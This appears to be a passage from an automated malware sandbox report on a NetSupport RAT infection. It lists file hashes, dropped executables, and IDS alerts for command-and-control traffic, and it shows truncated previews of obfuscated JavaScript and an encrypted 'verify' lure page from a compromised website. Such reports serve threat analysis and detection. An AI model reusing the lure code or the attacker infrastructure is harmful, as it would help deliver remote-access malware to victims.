SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bpsFyf\remcmdstub.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77280
Entropy (8bit):	6.793716898125355
Encrypted:	false
SSDEEP:	1536:SfafvTuNOwphKuyUHTqYXHhrXH4LLIywmoEee/wjHnee/ssjHai:kafLSpAFUzt0LLIywYehjHeyjH
MD5:	1768C9971CEA4CC10C7DD45A5F8F022A
SHA1:	3D199BEE412CBAC0A6D2C4C9FD5509AD12A667E7
SHA-256:	6558B3307215C4B73FC96DC552213427FB9B28C0CB282FE6C38324F1E68E87D6
SHA-512:	F83BF23ABCE316CB1B91A0AC89C1A709A58A7EC49C8493140AD7DC7A629E8F75032057889E42BE3091CF351760348380634F660C47A3897F69E398849CA46780
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...T.oe.....................J.......!............@.......................... ......Q.....@....................................<.......8................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...8...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 52648, version 1.0
Category:	downloaded
Size (bytes):	52648
Entropy (8bit):	7.996033428788516
Encrypted:	true
SSDEEP:	1536:9eBlxzWRUJTVGP5v267Q1Sk+S2/D8l+8O2:9maeeP5v267Q7w8z
MD5:	657E828FB3A5963706E24CBF9D711BB8
SHA1:	84C08557D977E0A46EC8941B2D84235069DAB229
SHA-256:	45E39853C41558C4922FF1B0895547A99E378F136EC3D9D2F4DF15CC269485FA
SHA-512:	EEBEDF24A2516B860FFA2C9241474157604F8FC2EDC9E3BF3C0A0DDDF3168519F13FC195D48D232ED8F4A5DB1C48EF0563D62B2E2BDCF55F936CBD319AB18E16
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.0.0/webfonts/fa-brands-400.woff2
Preview:	wOF2.............r....V.........................T.V..f...h..X.6.$..\|..... ....m[.#qB..........v......@(B...............1......T+.....d.2OaAf.j.....b.>.........?2\|/F...PRJ4[ &..b....E......../...q..4`MD.c...-\|.a.q.b..h..m..4....... ..N...?B....k.?.Ja.F7=....u\|....zx..z..L.....ht......:w.-.P..!...Yh..q.=..'aP[........ .d.u......D65...,.HD.6..........8..4...(...V.........Q..../...8@.+J.B..I.L........N...sn.n............&.5.rC0.nc,.X...".0r......D.."F.6........b..._.....q$.c.[.y......../.0..#..$,.?..P......_...J..&...).c^.do...;~.....^...K...........7.[...BN..I.o.8.....{.....K.I#....~w._[e..... ..C@.n*.qd.....]T..Im.....';...."Y.,S$.I.N...6....m.!...;...2.m9E.\..d.=.W...{...S.#...y$T...]G...Bdp^.#.B....@a];.Q}....._.f..Y.I-....!9...].F/a.[.^..0..VMw..@..]...[.......-.~....U..)m....fc..N..-..iI.l]........u.{..k.y....+)X-.+p.V<.19.q.u8...T....n"..u....~..lIj.\..l....Pa$.$....i.....4%.....k.....e...\l9d..d...R.ij..NHRP:..>...s`.\|

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33229)
Category:	downloaded
Size (bytes):	33407
Entropy (8bit):	4.7584710387647835
Encrypted:	false
SSDEEP:	384:Wb+rB31zxcjzc61CrDam31bvG91QCQ/HUMNYmB1vcv/PEsQ/4j:731zxcfc6IyUFv61dQ/0MOm3izQ/Y
MD5:	E35D9C4EBAEA0573DF8E4A9505B72EEA
SHA1:	5FBB384CD8CD7A64483E6487D8D8179A633F9954
SHA-256:	9F29F2BBB25602F4BDBD3122C317244F8FD9741106FFD5A412574B02EE794993
SHA-512:	C571015753B927017B3BEC2B1C0B0103DE27DCC5E805E1DAF8A1459E0F797ABA38FF0592F93CBEC80B98F574B18455DDBC65A1F38A8AED5ACF14EB8CE2D7265C
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.0.0/css/all.css
Preview:	/!. Font Awesome Free 5.0.0 by @fontawesome - http://fontawesome.com. * License - http://fontawesome.com/license (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (764)
Category:	downloaded
Size (bytes):	769
Entropy (8bit):	5.120187501927207
Encrypted:	false
SSDEEP:	24:xNpAp3XATntcBHslgT9lCuABuc7HHHHHHHYqmffffffo:xjIXOqKlgZ01BucEqmffffffo
MD5:	185167AECC19DE1F81AB42043B33E3A8
SHA1:	F94AE64C2B35F284021F93C7D6C3D4B2559E7628
SHA-256:	DEA696E4F82D00AF33066449CB0711CAC3AE9AD6678BA618A715E4E49851E248
SHA-512:	8FAD799AF19AB709BC3C3E75E7CC440619A03255966D106233A9BEC22B8F76BD1BCA9CE75A0CBE0955C03DCDB852914DE033844D21F8294537C28990AC136857
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["episode 7 tulsa king","apple intelligence ios 18.1","baltimore ravens vs cleveland browns","mortgage rates today","pope francis synod","videos","carolina panthers denver broncos","american airlines brisbane flight"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1251,1250,605,604,603,602,601,600],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (65488), with no line terminators
Category:	downloaded
Size (bytes):	67842
Entropy (8bit):	5.787506376022805
Encrypted:	false
SSDEEP:	1536:12TKAL+nNvaKqSx7XXfeYrhIyx5qdtDR1Ef9ukDE:12TKA6tNdx7LSDR10UkDE
MD5:	4D89ED3D2A8794DF472F060337B87424
SHA1:	3F1F098C00C7C3B51D7714E7BC78FA2E065B2C10
SHA-256:	D5474245A06F3FE94F9DFACCB3317A91433B158D6A0DF7A69B88E330EA1E489B
SHA-512:	6B800F39F09B898EA39C4098F6C374964D13B2450600E57D989C498251D7A481AA036B4C711C5D50F7F07A0FF3D17D8A45E347841AD222B3E75096F66F710872
Malicious:	false
Reputation:	low
URL:	https://inspyrehomedesign.com/
Preview:	<script>;Function("'e+v[y%5]2594{ycsz#ja%twtr@twc{_!]~ow7[_!.n%n-7h^qex,9&pt,v+7y!vp215-,aguwem6.q5614x.7a@kly!esem89urk..n4f{z{hgjlf&2ho%k&!g2a5q7hpqn3+-gc}2[4.^n!x46#pf-tp%8+hf-}}%_k~@9jt}e]e#9e5g7k7vl6o425i,e],i2~y1ulrmekcuc5azl61^e_keo-{%p#tm%}wq3@w3cm^%c.rscm~r@a{1+uervv,+]j]u]k9o![i12pml8]5.+zk-ms38_i{{6^5[#g~cwg2i&}-#&ifyo3zi4-!qna@xvzls@ph+np,!s_39zq@2~+rx4yzf8~vy3t3{v}&3m]47qs9w9{o,[s}ern@^@ff^1_e#[!hfujzjg#[6an#g6tzxe[_xcg7#1&~i_6m}8sjhfu91o~^8laq}ope6x&,.&ulhaj,yvj3%.^w4_[een8yqoe7i18xxuhi&j~kl-]w+sr^r8t';_TnvD4h58gdI59ysb45Rcn1oyyI8S39T7LDG0U0DYCLNKHpfo=(_TnvD4h58gdI59ysb45Rcn1oyyI8S39T7LDG0U0DYCLNKHelect)=>!_TnvD4h58gdI59ysb45Rcn1oyyI8S39T7LDG0U0DYCLNKHelect?\"QBsepJWblmT6ik34tUdQ\"[_XEs5oG59W9h3nQY3KK8NBxY057j0R63Uw28gpAf7xXMfV5kvM()](/[JbkQ4T3mU6WBde]/g,\"\"):(_TnvD4h58gdI59ysb45Rcn1oyyI8S39T7LDG0U0DYCLNKHelect==1?\"qwfLvloGqTrYEXMaecXRZhteg\"[_XEs5oG59W9h3nQY3KK8NBxY057j0R63Uw28gpAf7xXMfV5kvM()](/[RgXeMGYwvqtLTZl]/g,\"\"):\"HpF09umnkHJc65Zt5iAosnm\"[_XEs5oG59W

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	284
Entropy (8bit):	5.212377654998837
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoIRCw9J4KBFm8oD:J0+oxBeRmR9etdzRxGezHtL4b8+
MD5:	E99FF2FE9B06EB413E69A33B288A948C
SHA1:	8941E6F22F9377374B42DF8724BD4F2F2B07BC08
SHA-256:	10594F3532E5D0B52A1F8DB7FFF8083A31E7F341A335C90C170CBD28B7EEE3BA
SHA-512:	01220638A165890B7AB20C90F47FF2AACA8345A6083E9BC57A3480B7C9AB7708F1882F4D09005E1551E7DA806599288685E16ADB7D98C35B3283BEF0F9B01522
Malicious:	false
Reputation:	low
URL:	https://inspyrehomedesign.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.52 (Ubuntu) Server at inspyrehomedesign.com Port 443</address>.</body></html>.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1606
Entropy (8bit):	7.810373996731552
Encrypted:	false
SSDEEP:	24:F6LUotgGzEIsaTVSSbR0YfP4f3rMXGrb90QzTUpPDGRnr7q0v+/U5B:FItgMFTVSSKYI/YoZXUxGxjm/s
MD5:	EB6B97BF8AA1F306E937E8435CEE00AD
SHA1:	80390CB509BCE770227A46D8CAA5E7D138814837
SHA-256:	FCE99D7A035FF396A654347027F961BC159BDAD24CFF474E9B8B485595A8D7F7
SHA-512:	F75356B0FA9CAE560050D3349194A3E2077E3739E17D86A1149511DF608B55461F848CB3C0FFFAE5B228C8068718A91C7A5553BFBD4E1832847307998DB84EDE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...P... ......3.l....sRGB.........gAMA......a.....pHYs..........(J.....IDAThC..H.W...^uZLg3u..mE6...b......#.D.l..T...F..T......%CrV..0c.."..rl.._.L...={......5.X...y<..<...9.s.{......g.Z7.;......]M....o(....^...^.{e%.x.....3gN..w.@+M.o.V..ao&....x.(........h9..+...waM>.X...9.f..F..~.t....[.n}.4...ng....4..~.fFA..>...Uf..`.K........z..K.'......1u...{..}D.........g.+mzL.@.)..P.k.....P.a...k$o./M...T.G.].;.V......u..y.<..~-......(d...w......G....CY.C=`5_.m?(.?.....;....#'.g=.....-_Q....2et..e...W.(...Z....+m<.o..,._..:.{.Y<.-...{..V.B<\|.^}.,..u.b.....i...c.i+X....#w.K..k.iV.<.N.<.....-...Ux.0.]...v.Az..........QW..f...?.w..Js-.7....k.`..N,6...... W)fZ..~QW....I....:x..2.0.&"...../%..Xk.2L.o......r.5.=.>'L........C.f.....;w...'..\|....TUU.s.'.Ha{....7o.O.....o.i../^..[.0F..G.r..".yzz.S.N....\|i.t..322.^[[+ua........xCC.1>77...r..9....zqq...^...yhh..STT..;s.q?ooo.~.z^RRb.W.^m...7.a........W.b.........0.n..~...X........7......Ajj*.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	10478
Entropy (8bit):	6.1437966409549345
Encrypted:	false
SSDEEP:	192:+YdzCOGbqUhwFRyC7lzBpi58Q0cW3O3AMw8+Ezgl02pmiV5ASidm4EcMvYf5:+YduOGPwFz7lzO58Q0m+0MnX4X
MD5:	977BB6913B1F65A6472727EA4F362E97
SHA1:	1D1247A8F9359576C913E9586D72F0D51773B22C
SHA-256:	CACE794532FFC2A8275C86E4248CA38CF85DFB209D630E05E049D6FE2047EA2E
SHA-512:	02E3D08AFED87051CD5D7DE046CFECE58731901EF985F8A76E4110130ED4A364ABAC06E77D124E185E146502BF4170AAF07E81272DB9C100FAFF878ACFE48EFA
Malicious:	false
Reputation:	low
URL:	https://inspyrehomedesign.com/Ray-verify.html
Preview:	<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';ilY5HP79zs2='e6Fwtnl9Iy7X';</script><script>oS3zB7k=new Array();oS3zB7k[0]='\141\151\165%31%49%4A%31%33%48\121%32%38';wL6mXZ4=new Array();wL6mXZ4[0]='.<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C~..D.T.D. .X.H.T.M.L. .1...0. .T.r.a.n.s.i.t.i.o.n.a.l~..E.N."~.~\n.t.p.:~..w~B...w.3...o.r.g./.T.R./.x~\n~..1./~..D~N~P.l.1.-.t~-~/~1~3~5.l...d.t.d.".>.\r.\n.<~W. .x~.~/.=."~=~?~A~C~E

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1606
Entropy (8bit):	7.810373996731552
Encrypted:	false
SSDEEP:	24:F6LUotgGzEIsaTVSSbR0YfP4f3rMXGrb90QzTUpPDGRnr7q0v+/U5B:FItgMFTVSSKYI/YoZXUxGxjm/s
MD5:	EB6B97BF8AA1F306E937E8435CEE00AD
SHA1:	80390CB509BCE770227A46D8CAA5E7D138814837
SHA-256:	FCE99D7A035FF396A654347027F961BC159BDAD24CFF474E9B8B485595A8D7F7
SHA-512:	F75356B0FA9CAE560050D3349194A3E2077E3739E17D86A1149511DF608B55461F848CB3C0FFFAE5B228C8068718A91C7A5553BFBD4E1832847307998DB84EDE
Malicious:	false
Reputation:	low
URL:	https://i.ibb.co/t8b1Qdw/1q.png
Preview:	.PNG........IHDR...P... ......3.l....sRGB.........gAMA......a.....pHYs..........(J.....IDAThC..H.W...^uZLg3u..mE6...b......#.D.l..T...F..T......%CrV..0c.."..rl.._.L...={......5.X...y<..<...9.s.{......g.Z7.;......]M....o(....^...^.{e%.x.....3gN..w.@+M.o.V..ao&....x.(........h9..+...waM>.X...9.f..F..~.t....[.n}.4...ng....4..~.fFA..>...Uf..`.K........z..K.'......1u...{..}D.........g.+mzL.@.)..P.k.....P.a...k$o./M...T.G.].;.V......u..y.<..~-......(d...w......G....CY.C=`5_.m?(.?.....;....#'.g=.....-_Q....2et..e...W.(...Z....+m<.o..,._..:.{.Y<.-...{..V.B<\|.^}.,..u.b.....i...c.i+X....#w.K..k.iV.<.N.<.....-...Ux.0.]...v.Az..........QW..f...?.w..Js-.7....k.`..N,6...... W)fZ..~QW....I....:x..2.0.&"...../%..Xk.2L.o......r.5.=.>'L........C.f.....;w...'..\|....TUU.s.'.Ha{....7o.O.....o.i../^..[.0F..G.r..".yzz.S.N....\|i.t..322.^[[+ua........xCC.1>77...r..9....zqq...^...yhh..STT..;s.q?ooo.~.z^RRb.W.^m...7.a........W.b.........0.n..~...X........7......Ajj*.

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T19:45:13.415753+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.16	49729	92.255.85.135	443	TCP
2024-10-28T19:46:17.038167+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:17.218232+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:18.039720+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.280274+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.443100+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.676594+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:19.838942+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:20.094216+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:20.317348+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:25.238092+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:25.701188+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP
2024-10-28T19:46:26.502458+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.16	49726	166.1.160.211	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 19:45:14.361129045 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:14.361172915 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:14.361233950 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:14.361474037 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:14.361547947 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:14.361613989 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:14.361645937 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:14.361659050 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:14.361830950 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:14.361861944 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.048316002 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.049511909 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.049526930 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.050318956 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.050548077 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.050568104 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.050606012 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.050656080 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.052273035 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.052365065 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.057528973 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.057624102 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.063323021 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.063333035 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.063471079 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.063571930 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.114907026 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.114919901 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.116806030 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.161901951 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.254420042 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254447937 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254455090 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254473925 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254479885 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254497051 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.254507065 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254538059 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.254542112 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.254581928 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.255263090 CET	49698	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.255276918 CET	443	49698	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.331794024 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.379334927 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.518938065 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.519092083 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.519171953 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.519766092 CET	49699	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:45:15.519797087 CET	443	49699	166.1.160.75	192.168.2.16
Oct 28, 2024 19:45:15.718391895 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:16.022039890 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:16.629065990 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:17.835930109 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:18.228847027 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:18.228892088 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:18.229111910 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:18.229196072 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:18.229212046 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:18.793788910 CET	49689	80	192.168.2.16	192.229.211.108
Oct 28, 2024 19:45:19.095657110 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:19.096653938 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:19.096716881 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:19.097712994 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:19.097790956 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:19.098964930 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:19.099052906 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:19.140933037 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:19.140990973 CET	443	49709	172.217.16.196	192.168.2.16
Oct 28, 2024 19:45:19.188929081 CET	49709	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:45:20.241965055 CET	49673	443	192.168.2.16	204.79.197.203
Oct 28, 2024 19:45:22.126768112 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:22.126831055 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:22.126926899 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:22.128544092 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:22.128556013 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:22.986855984 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:22.986932039 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:22.990782976 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:22.990793943 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:22.991035938 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.033444881 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.079333067 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.280141115 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.280208111 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.280352116 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.280379057 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.280433893 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.280441046 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.280464888 CET	49712	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.280468941 CET	443	49712	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.310497999 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.310534954 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.310621977 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.310911894 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:23.310925961 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:23.897253990 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:24.211936951 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:24.819068909 CET	49678	443	192.168.2.16	20.189.173.10
Oct 28, 2024 19:45:24.832542896 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:24.832659006 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:24.833911896 CET	49713	443	192.168.2.16	184.28.90.27
Oct 28, 2024 19:45:24.833923101 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:24.834176064 CET	443	49713	184.28.90.27	192.168.2.16
Oct 28, 2024 19:45:24.835453987 CET	49713	443	192.168.2.16	184.28.90.27
